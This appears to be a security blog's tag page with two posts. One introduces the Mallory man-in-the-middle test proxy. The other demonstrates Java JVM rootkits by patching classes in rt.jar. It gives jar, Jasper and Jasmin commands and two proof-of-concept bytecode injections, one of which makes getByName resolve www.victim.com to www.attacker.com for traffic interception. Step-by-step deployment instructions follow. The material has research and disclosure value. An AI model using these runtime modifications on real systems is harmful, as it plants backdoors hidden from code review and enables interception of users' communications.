Posts Tagged ‘Man-In-The-Middle’

Mallory is a transparent TCP and UDP proxy. It can be used to get at those hard to intercept network streams, assess those tricky mobile web applications, or maybe just pull a prank on your friend.

In more technical terms, Mallory is an extensible TCP/UDP man in the middle proxy that is designed to be run as a gateway.

The goal is to man in the middle traffic for testing purposes. The ideal setup for Mallory is to have a “LAN” or “Victim” network that Mallory acts as the gateway for. This can be configured within a virtal machine environment using host only network interfaces. The victim virtual machines then configures the Mallory machine as the gateway by manually setting its gateway. The gateway machine will have at least one WAN interface that grants Internet access. The victim network then uses the Mallory gateway to route traffic.

Folder Structure

* ca – certificate authority files including Mallory’s private key
* certs – MiTM certs that are created on the fly
* db – directory where mallory stores all database files
* mallory – empty directory
* src – where the code lives
* scripts – scripts used to configure mallory enviorment

You can download Mallory here:

mallory-tip.tar.gz

http://intrepidusgroup.com/insight/mallory/

Advertisements

This page introduces application level rootkit attacks on Java JVM environment, enabling an attacker to change the language runtime implementation, and to hide malicious code inside its core.

Java Rootkits, injected into the upper level class level code will influence the bytecode and make the application behave differently than what it’s supposed to do. Code reviews will not detect application level backdoors since the payload is not in the code itself, but rather it is inside the JVM implementation.

Java rootkits also enables the attacker to install reverse shells, to steal valuable information, to fixate encryption keys, disable security checks and to perform other nasty things.

Overview of Java JVM modification steps

* Locate the class (usually in rt.jar) and extract it:

jar xf rt.jar java/io/PrintStream.class

* Dissassemble it (using Jasper disassembler)

Java –jar jasper.jar PrintStream.class

* Modify the bytecode
* Assemble it (using Jasmin assembler)

Java –jar jasmin.jar PrintStream.j

* Deploy the modified class back to its location:

jar uf rt.jar java/io/PrintStream.class

Besides performing direct modification of the JVM in order to hide the presence of the rootkit from the application layer, it is possible to achieve similar rootkit-like behavior using Non evasive, “by design” techniques such as:
• AOP – Aspect programming (dynamic weaving)
• Configuration modification
• Setting an alternative evil ClassLoader
• Loading a malicious agent “-javaagent:MyEvilAgent.jar” (Java)

Proof-Of-Concept
Example #1:
the following code was injected into PrintStream.class, at “.method public println(Ljava/lang/String;)V”:

aload_0
aload_1
invokevirtual java/io/PrintStream/print(Ljava/lang/String;)V
aload_0
invokespecial java/io/PrintStream/newLine()V
aload_2

It will make each application level code to println(“value”) to print the string “value” twice.

Steps:
1. Download the modified PrintStream.class (PrintStream.class contains the println method)
2. Go to the JRE directory containg rt.jar
3. Create a temp directory “java/io”, and copy the PrintStream.class to this directory
4. Deploy the modified class using the “jar”command:
jar uf rt.jar java/io/PrintStream.class
5. Download the HelloWorld Demo. It contains one line of code: System.out.println(“Hello World!”);
6. Run HelloWorld, using:
java HelloWorld

Now you should see that the string “Hello World!” was printed twice.

Example #2:
the following code was injected into InetAddress.class, at
“.method public static getByName(Ljava/lang/String;)Ljava/net/InetAddress;”:

aload_0 ;load s into stack
ldc “www.victim.com”
;compare the 2 strings
invokevirtual java/lang/String/equals(Ljava/lang/Object;)Z
ifeq LABEL_compare
ldc “www.attacker.com
astore_0 ;store attacker hostname to stack
LABEL_compare:

It will make each application level code to getByName (in order to resolve hostname -> ip) to spoof the ip address of the victim to be the attacker’s ip.

Steps:
1. Download the modified InetAddress.class (InetAddress.class contains the getByName method)
2. Go to the JRE directory containg rt.jar
3. Create a temp directory “java/net”, and copy the InetAddress.class to this directory
4. Deploy the modified class using the “jar”command:
jar uf rt.jar java/net/InetAddress.class
5. Download the DNS Spoofing Demo.
6. Run the Client on the rooted JVM machine, using:
java Client
7. Run the Server on a machine called “www.victim.com“, using:
java Server
8. Run the Man-In-The-Middle Server on a machine called “www.attacker.com“, using:
java TCPChatMitM
9. Start the real server and the MitM server. Now connect with the client to www.victim.com.

Now you should see that communication flow is ClientMitMServer.

Pay attention – the supplied classes were generated to JRE version 1.6.0_14. To avoid compatibility issues when using the supplied PoC classes use the same JRE version or generate your own classes.